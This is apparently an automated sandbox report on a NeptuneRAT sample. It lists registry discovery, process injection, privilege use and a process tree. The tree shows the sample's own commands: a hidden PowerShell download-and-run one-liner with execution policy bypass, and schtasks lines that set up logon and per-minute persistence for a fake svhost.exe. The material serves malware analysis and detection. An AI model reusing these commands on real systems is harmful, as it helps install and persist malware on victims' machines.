neptunerat | c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1131776342-1023621610-2767477260-1000\Control Panel\International\Geo\Nation	Bypassed.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1131776342-1023621610-2767477260-1000\Control Panel\International\Geo\Nation	ccb0a5bf-98fa-40e8-b145-e9a4283691e6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1131776342-1023621610-2767477260-1000\Control Panel\International\Geo\Nation	svhost.exe

Executes dropped EXE 5 IoCs

pid	Process
560	ccb0a5bf-98fa-40e8-b145-e9a4283691e6.exe
1556	svhost.exe
4560	svhost.exe
4852	dwog1cfy.hf1.exe
3752	svhost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\svhost.exe	ccb0a5bf-98fa-40e8-b145-e9a4283691e6.exe
File opened for modification	C:\Windows\svhost.exe	ccb0a5bf-98fa-40e8-b145-e9a4283691e6.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3948	cmd.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Modifies data under HKEY_USERS 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C0172E80B108"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C0172E80B108 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000f8c1cc00737c234fa55f85ca32b791d500000000020000000000106600000001000020000000b1e6e1e24a6b134aa525fb91dde07c5101c46868660a7e71c70570ca97e467bf000000000e8000000002000020000000044e4bda8487319794b6a5fe2fc5af4a5181272d78bb9c747a73c76d6ab0dc8e8000000091139d3a508ced472ac247360cd00120440a97243fcf4f0c781bef3258d445e0c9c6b73baf69ab3175f111d8a7fbf9d83b6b34d179466a46b2ba03ecc9d58879fc01f950e568a60cf8386d697cef4d48cef008ec6fa25202451157ffd837181ca72684597a8448e1365d2155b38d1eb2e8f90700a17b7e1dbfa4a1e750045f4d400000007c8d45913230b51bde9dce0605a599aac6322702474106e8a0070e1c96a3cf4d321ea447b4bb8f7d7e5686911bbe0916fadc4cc47fab33590de01cf175d8c594	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018C0172E80B108"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000f8c1cc00737c234fa55f85ca32b791d5000000000200000000001066000000010000200000004887cf3bad2a2fd131ad723ec906f6d9cbdd0b612321bda0da6741ceed057fd1000000000e80000000020000200000007928d4cd5c06f73f6769a43bbd7bc7e6a6094ef101502af5e36aa8b82755b221300c00006cb71f98f2f26891d9bf5d50ba5713e529f2467a609b3b425c1632aff430c3b4cbece5f09268f9be31a80ec30c7e6ba10b0e227472c0b35d38662ccce63ab3a352a2f2e9393af583f5548c66f951aa56df388f5c8380f2e4e6725d611e7ae36b3885d9021dd239f527a21104760eac8eac9eb6cb8bf8c23018ffe9c49ef34f1df0c9954820738a51125ecb3e76d2ef34304ee670a4d4ea969afdc64084ca843dad4f23b7e2e51da4adb74c2adce23d66dd720c40ac4379297d4893c2b7967391c183f69e1784aab790d3a9cb280b5f3e002ba5f079e1b61ded0c6ed93d7b2c9bb0e69a25ff4f915d4d2313923acef24f8cab29fedf2548e897586b843ff87438df26892e741edb1253244cb9588635c431cfd0fe0e94b792043030503c7921480bc30098475ea6cfefd34c6ebfac63bfe43a15b3e852846c056a8186163c0308c1b542c513b20a4d5f3119805b4809a4485c235a50eac7380b4396580476aa4ff180086f2ad405cf158d76c88b96668117ede02b5ad1b7d94ede5c90ffb9b3c223a8e9f932d726b19053a21827982446bc96f3dfbeaabf317916c29f5cd8fbc0a1068eada72ca5a319e0226a68c98e4d3d08263657cd5249ba65caf1d63c0fba7a446d87304cb93a42259a822e3c2aa831483ebd7a2c108289d4ef725e4b3f9193d50bbdb39d7ee4406c697dc1cf3121d58881982c758c365c89397f06689d2c78062b8eb82dcdf07373c1b116d4b840be085a957d7dc2bd772c1633ccea684e71a86ed3aa035cfb908f8ef2cfffc9a6ecc59e06ca54b4b9f16a1e8499708b328447e0e609d2059934dd445693793e4fe1b513ac114fd6ef7265ae684cb3ce0cabd11bf24a3282bdf94d58d18987760c08b8ed2a96872fbaf3b747aaca3e92e3aee6f829695706861899dc34ccf53c0decf0a372eb98defea4e53e81b71fe5a7151659174b65f2c73fd199f79583bac1a916871c4fbb9e8088cf6891d280f44a65021fa4c3b21650414f1b54fa076788caaaa9e2effee596d9070863592e59b0e2bc329a2efc6752b5997bc6e6a76aede4e7e70314a57cdd965da206397f12a03b1a53dbad1bd1cebbecfc9d50b3fd10c736b0e9495dec5d7bd7273f610daacf06e7ce8f74e530ad9fba02e6d532cf917ab74028069853cf94cfdee2563c0f3e4918168c6d888efab87fb1dfb17fa9cd80d2a88b9f841266e1d4cf039c7bb4049a71c2664548aed1964ff01f43168cb326a693ed2a70bc5579e04c465a8a3ac13306eb56e23477d2aedfa4cc93702be4b82bf902bfa3f1ce9102020712fb251e4f21d0acb1bd8a73b3756abcdade3e5cd2bb88a234034b65203c1e7782405c38af0d4a6657882a16bf936b0cb39590ed0e7935d436ca1f11c3a74d87098d1350f36178850d3c3f860669eb096caddb2ad242abcb28f123a4147071df49467ccfc20bec0855c000835ac08a14d8de6ba61a7972afe5b1bd473903e455162df2d9ef37487fa98d760ffdc8bc125eef6357d09a08dff88f5427d225a04274ce0bccccae8459100fe44844ce884c8d58f2ad5baf88ed4512beb27ee41d193f3747aa6f1f4100a5856fad4cdeec9cce8d39dbf598c9441ab41930e741069771a6c1c9adde6022a0a9592eb2139e588fb8ad3d4fb91ba714cfcc228e94df72afe5c4803c63ffe6c41cb41f13ad246f1cc5bfe0d6e3f69b2d5a33e1ab6d0aa406f2c60e761b15a2c267570f9b5e1299375206bb5bbf53ab69b73634fe18779ca498e4cb961616f96cfb3fa1a84c523ebaa40200ef1f008488b5185a71ea98813f9230e4a82a2c240c1cc0a301f9480b8e49a75605990a0c7ffb4d672bbc81762daedbd95434fbdea83e418d7e64d85709b9bab7ba4b6ebc1ff011e0c721cc0fb95af5ebcaa550fd8955931a08620394e7edacd6041a2fe9baa87c73bb93f9b7ae47ab3f0df49ba3f3f2a623b91ec7563e647a47159932092c38b838c70ea5d988e2929e690986d64ae26353c56ab056f63c07f159b038eda81187542ddd98af7d4d2f4cbb2a0961621c03e1d7713fe102f87c4241555b0b1cf4fdcaf399b0444f059746422afa95bb4b3338fcd286b8c964dcedf71ef4e0c92699c449a256bd28d6280c7da9ad3a91be50a0d53d2a2f9c11af6c932682cf89a9d6472f57a07a5cdafbd274118083115ee8138d4ce2a0c3e21ae8863960ae767fa9f72215d1c41a37724eec6292ef3abcec9cb5d8276d5daf18e6a8660f4a25f0f7b411fa023296dd091d9c93ce3409a00fb57dc285dbf5486b620a2a8fae7f0e99ae4217e7096c2301026d0d80b443203fb80c62dee2f8fb1a14d7a05ad644c6debd0ea7ddfb4911d3c6d86bd4fef4353a12c370eef31f366028e178db668b5d1aad2f88329714e8e551f757c04dbb2a2424c82758dc7c3ed36ef240e85a6bc2636e067a23bcb6f8464f612b851700b3765db04351a789b4bfc2c8cb4a912b7f7d3c353dc51ea6c38a97a1abd1259a83806c649885aff4bf95c773719a14d24b3f9e4da59998bd28821413ea1ae0fe386f3c8dca982e988ad60a900109239dd22a8d59d38be1381667358c22a1369bae320a6dd45fd48db3737f8ae5e04a924f94128fbf4a5cd8eed4ccdec65b99fa736cf8934b7a288b6205f81f671ac54c8be335102cb2ee44024b3f2e01711fc09bc1c41573ce495f8c6ffdc73cb14c42925bb5b5309798ea663a51ede01627344578829f9075b774ce3cadfc0818c64bb3639eb969d92f89a14c9ce886a9906f271fa127c9d9f23198fe0cd12d268bfe42fee4dc10912bc5ce36d3dafea6f542a9bc795283b671cc14ea5d076d18671072c27f8983006ceb412b460b38169385f68337bae884f1e371afbc325fe650b1b2e29ab960348cdae3be69e6211cda6c90b4857ac00980f098f527649a9b76505c82b1a201b0dcd4e92d710c62fdfacc564d2d659f521215bd1c4bcd3d8e0efedc336e4d124ca91c0baec284be23b37b67ac6d70fba73db48da9620ac27aff95b78e35e0f918fa6da7f3f540949051218976e649d6e35473236bed45d6facfdc1c236a70ea8fde8d144567a75e5e743dd58e3a16c8d5e3ddf0dba1056a1735a7a71cc12a5d2e4bcd0517cbd69e69e4cf9b13a60e11ba76f2dc74d744f10b8efb430e659187556fa535789b16b422d43b32dcd9c20c3397713af8d9170c4bfa6493b681d8edadcdd374c6095523ec48e3d723bf2569be0e05346283f0569b16c850fab569089e45a0b7132db8319edd5182cac3b96fdd5470af21580a906dd226644e01fe306f8ef7103adf250c68ee50d9b428c2f8189007970e7b6d66d0f8146c510f2874f297b206ee397148d414ebe111663588f5192002f6f8668bf5e8cde7d362b15046c4c4aa3037183a8281620a706f2f9b3b6e9654b204c7ac3b1bf1a132bfd23536c7fe55f34ca74bbe17063657c7dbbcba0939399bda7a7b116bb03106b1b98784fb080fe56dd37b6eb88457a9eb39341c71b8b8968f1141235982c4c37ba4addf91f7088e1b079d9f47b20ee588190ca67c040f649a45ce34a7064ea876b7ec368ebd287b389f9edaa70b5dc68a19bfaffe4af87075deb43bc302b67f8b4f5cea526b3a5bbfbeed6fc327aadc01518d991018f6d0f0fa214a02ec2aa134a27a86b7acd3441bef09c4b9f1a569216f232acd9d97d46ba36076be6ea8f12534d06f6fd58fac53608b03b9b1a984447ea907717f3eeec7d22d07305a0a30e624e6d4a1f436e28b180d65673a3e93e9408b116b90c053d01d1c73014f74d1e861648b05ac1aea65eb2bcbfdcfa19ce4d22e0fa886693b1e9ec3686d02d510aba02c660d2523bf613fd747fa7ac63f9a9f6d8fbf55bf6c27436dca9c48271b02502ed744ee73f1aba91b06e0a4f857c894789962022e482a3f802bae86c2fc3bad497f6e1d9140363c29de4951b85787c5f7181c662d041af4f378086af0afbe91d12c4fe8c7a6ad5a909754a6575f043b12c3d61ddb70e181f295e04acd9ebccb607d911b3cfd5f9fbbf13a2b457d6e4c9626ef9f0e7367489cd2b22f5d418e2419199f61d3c25fc1060847715f7750d5b9298226ab4ecaa3fa35918e89a1961c46dc942aa400dcdec444b0ecf119348b893cc8f713affaf24872a86f04ff1223c142b537e0bed1a3c5e801a4fafcffff679146a1f1ff1241e291934c858c78189ff5a0a2e98664906e5b7775cb0a89d082974b5f994d78bdd12f78d64f9cab92acc658a0ffeb8bd6038c41212028c59a057bffc8f4242078e3d1b4c68f83b5d18531e441082ec5e48ff6d2956858c7ae869bff7b556547a21c60c390383020622b58a386be595d33de2ef0e88564cc6648e37a036ebeb759f9ebeacbed0b3b1f1302b162096eae5a2f25053d6639b8b9f280a2687c5bcc40000000de934b344b7d8f89fe9cb7cf534ff49424cea15a26693f59666943dc9c2c0cfe35e2a8216f0ffbbf76607c793f2c83fa8964c9b839764016040832336f0199ec	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1968	SCHTASKS.exe
1664	SCHTASKS.exe
2540	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4648	powershell.exe
4648	powershell.exe
2472	powershell.exe
2472	powershell.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4716	powershell.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4716	powershell.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4716	powershell.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4716	powershell.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4852	dwog1cfy.hf1.exe
4716	powershell.exe
4852	dwog1cfy.hf1.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3372	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	560	ccb0a5bf-98fa-40e8-b145-e9a4283691e6.exe
Token: SeDebugPrivilege	4648	powershell.exe
Token: SeIncreaseQuotaPrivilege	4648	powershell.exe
Token: SeSecurityPrivilege	4648	powershell.exe
Token: SeTakeOwnershipPrivilege	4648	powershell.exe
Token: SeLoadDriverPrivilege	4648	powershell.exe
Token: SeSystemProfilePrivilege	4648	powershell.exe
Token: SeSystemtimePrivilege	4648	powershell.exe
Token: SeProfSingleProcessPrivilege	4648	powershell.exe
Token: SeIncBasePriorityPrivilege	4648	powershell.exe
Token: SeCreatePagefilePrivilege	4648	powershell.exe
Token: SeBackupPrivilege	4648	powershell.exe
Token: SeRestorePrivilege	4648	powershell.exe
Token: SeShutdownPrivilege	4648	powershell.exe
Token: SeDebugPrivilege	4648	powershell.exe
Token: SeSystemEnvironmentPrivilege	4648	powershell.exe
Token: SeRemoteShutdownPrivilege	4648	powershell.exe
Token: SeUndockPrivilege	4648	powershell.exe
Token: SeManageVolumePrivilege	4648	powershell.exe
Token: 33	4648	powershell.exe
Token: 34	4648	powershell.exe
Token: 35	4648	powershell.exe
Token: 36	4648	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeIncreaseQuotaPrivilege	2472	powershell.exe
Token: SeSecurityPrivilege	2472	powershell.exe
Token: SeTakeOwnershipPrivilege	2472	powershell.exe
Token: SeLoadDriverPrivilege	2472	powershell.exe
Token: SeSystemProfilePrivilege	2472	powershell.exe
Token: SeSystemtimePrivilege	2472	powershell.exe
Token: SeProfSingleProcessPrivilege	2472	powershell.exe
Token: SeIncBasePriorityPrivilege	2472	powershell.exe
Token: SeCreatePagefilePrivilege	2472	powershell.exe
Token: SeBackupPrivilege	2472	powershell.exe
Token: SeRestorePrivilege	2472	powershell.exe
Token: SeShutdownPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeSystemEnvironmentPrivilege	2472	powershell.exe
Token: SeRemoteShutdownPrivilege	2472	powershell.exe
Token: SeUndockPrivilege	2472	powershell.exe
Token: SeManageVolumePrivilege	2472	powershell.exe
Token: 33	2472	powershell.exe
Token: 34	2472	powershell.exe
Token: 35	2472	powershell.exe
Token: 36	2472	powershell.exe
Token: SeDebugPrivilege	1556	svhost.exe
Token: SeDebugPrivilege	4560	svhost.exe
Token: SeDebugPrivilege	4560	svhost.exe
Token: SeDebugPrivilege	4852	dwog1cfy.hf1.exe
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE
Token: SeDebugPrivilege	4716	powershell.exe
Token: SeShutdownPrivilege	4520	svchost.exe
Token: SeCreatePagefilePrivilege	4520	svchost.exe
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2732	Conhost.exe
4308	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5380 wrote to memory of 560	5380	Bypassed.exe	82
PID 560 wrote to memory of 4648	560	ccb0a5bf-98fa-40e8-b145-e9a4283691e6.exe	83
PID 560 wrote to memory of 2472	560	ccb0a5bf-98fa-40e8-b145-e9a4283691e6.exe	87
PID 4560 wrote to memory of 4852	4560	svhost.exe	96
PID 4560 wrote to memory of 1968	4560	svhost.exe	97
PID 4852 wrote to memory of 640	4852	dwog1cfy.hf1.exe	5
PID 4852 wrote to memory of 692	4852	dwog1cfy.hf1.exe	7
PID 4852 wrote to memory of 900	4852	dwog1cfy.hf1.exe	11
PID 4852 wrote to memory of 388	4852	dwog1cfy.hf1.exe	13
PID 4852 wrote to memory of 556	4852	dwog1cfy.hf1.exe	14
PID 4852 wrote to memory of 636	4852	dwog1cfy.hf1.exe	15
PID 4852 wrote to memory of 680	4852	dwog1cfy.hf1.exe	16
PID 4852 wrote to memory of 1052	4852	dwog1cfy.hf1.exe	17
PID 4852 wrote to memory of 1088	4852	dwog1cfy.hf1.exe	18
PID 4852 wrote to memory of 1152	4852	dwog1cfy.hf1.exe	19
PID 4852 wrote to memory of 1184	4852	dwog1cfy.hf1.exe	20
PID 4852 wrote to memory of 1356	4852	dwog1cfy.hf1.exe	21
PID 4852 wrote to memory of 1396	4852	dwog1cfy.hf1.exe	23
PID 4852 wrote to memory of 1424	4852	dwog1cfy.hf1.exe	24
PID 4852 wrote to memory of 1444	4852	dwog1cfy.hf1.exe	25
PID 4852 wrote to memory of 1468	4852	dwog1cfy.hf1.exe	26
PID 4852 wrote to memory of 1572	4852	dwog1cfy.hf1.exe	27
PID 4852 wrote to memory of 1616	4852	dwog1cfy.hf1.exe	28
PID 4852 wrote to memory of 1676	4852	dwog1cfy.hf1.exe	29
PID 4852 wrote to memory of 1708	4852	dwog1cfy.hf1.exe	30
PID 4852 wrote to memory of 1764	4852	dwog1cfy.hf1.exe	31
PID 4852 wrote to memory of 1804	4852	dwog1cfy.hf1.exe	32
PID 4852 wrote to memory of 1868	4852	dwog1cfy.hf1.exe	33
PID 4852 wrote to memory of 1932	4852	dwog1cfy.hf1.exe	34
PID 4852 wrote to memory of 2044	4852	dwog1cfy.hf1.exe	35
PID 4852 wrote to memory of 340	4852	dwog1cfy.hf1.exe	36
PID 4852 wrote to memory of 1236	4852	dwog1cfy.hf1.exe	37
PID 4852 wrote to memory of 1860	4852	dwog1cfy.hf1.exe	38
PID 4852 wrote to memory of 1812	4852	dwog1cfy.hf1.exe	39
PID 4852 wrote to memory of 2180	4852	dwog1cfy.hf1.exe	40
PID 4852 wrote to memory of 2304	4852	dwog1cfy.hf1.exe	42
PID 4852 wrote to memory of 2532	4852	dwog1cfy.hf1.exe	43
PID 4852 wrote to memory of 2576	4852	dwog1cfy.hf1.exe	44
PID 4852 wrote to memory of 2688	4852	dwog1cfy.hf1.exe	45
PID 4852 wrote to memory of 2704	4852	dwog1cfy.hf1.exe	47
PID 4852 wrote to memory of 2816	4852	dwog1cfy.hf1.exe	48
PID 4852 wrote to memory of 2868	4852	dwog1cfy.hf1.exe	49
PID 4852 wrote to memory of 2888	4852	dwog1cfy.hf1.exe	50
PID 4852 wrote to memory of 2896	4852	dwog1cfy.hf1.exe	51
PID 4852 wrote to memory of 2844	4852	dwog1cfy.hf1.exe	52
PID 4852 wrote to memory of 2988	4852	dwog1cfy.hf1.exe	53
PID 4852 wrote to memory of 3096	4852	dwog1cfy.hf1.exe	54
PID 4852 wrote to memory of 3172	4852	dwog1cfy.hf1.exe	55
PID 4852 wrote to memory of 3312	4852	dwog1cfy.hf1.exe	56
PID 4852 wrote to memory of 3372	4852	dwog1cfy.hf1.exe	57
PID 4852 wrote to memory of 3516	4852	dwog1cfy.hf1.exe	58
PID 4852 wrote to memory of 3800	4852	dwog1cfy.hf1.exe	60
PID 4852 wrote to memory of 4028	4852	dwog1cfy.hf1.exe	62
PID 4852 wrote to memory of 1208	4852	dwog1cfy.hf1.exe	63
PID 4852 wrote to memory of 4936	4852	dwog1cfy.hf1.exe	65
PID 4852 wrote to memory of 5440	4852	dwog1cfy.hf1.exe	67
PID 4852 wrote to memory of 4740	4852	dwog1cfy.hf1.exe	69
PID 4852 wrote to memory of 3504	4852	dwog1cfy.hf1.exe	70
PID 4852 wrote to memory of 752	4852	dwog1cfy.hf1.exe	71
PID 4852 wrote to memory of 4816	4852	dwog1cfy.hf1.exe	72
PID 4852 wrote to memory of 5388	4852	dwog1cfy.hf1.exe	73
PID 4852 wrote to memory of 2404	4852	dwog1cfy.hf1.exe	74
PID 4852 wrote to memory of 3564	4852	dwog1cfy.hf1.exe	75
PID 4852 wrote to memory of 6040	4852	dwog1cfy.hf1.exe	76

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:640
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1088

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-074976ad-6134-4c68-a2fb-e6a54d51994f -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e748a471-9fcd-40dd-8690-afd772fbf874 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b81303c8-b876-40ca-afc3-f665ec62c5d5 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a45dab55-62af-4c5a-901e-ac3d37249dc3 -LifetimeId:a7db41d1-ad0b-42c3-b803-eb962e639d55 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:556

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1424

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1468
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3096
- C:\Windows\svhost.exe
  "C:\Windows\svhost.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Users\Admin\AppData\Local\Temp\dwog1cfy.hf1.exe
    "C:\Users\Admin\AppData\Local\Temp\dwog1cfy.hf1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4852
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1968
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1664
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4716
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1800
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2540
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5472
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"
    3⤵
    PID:1148
- - C:\Windows\system32\cmd.exe
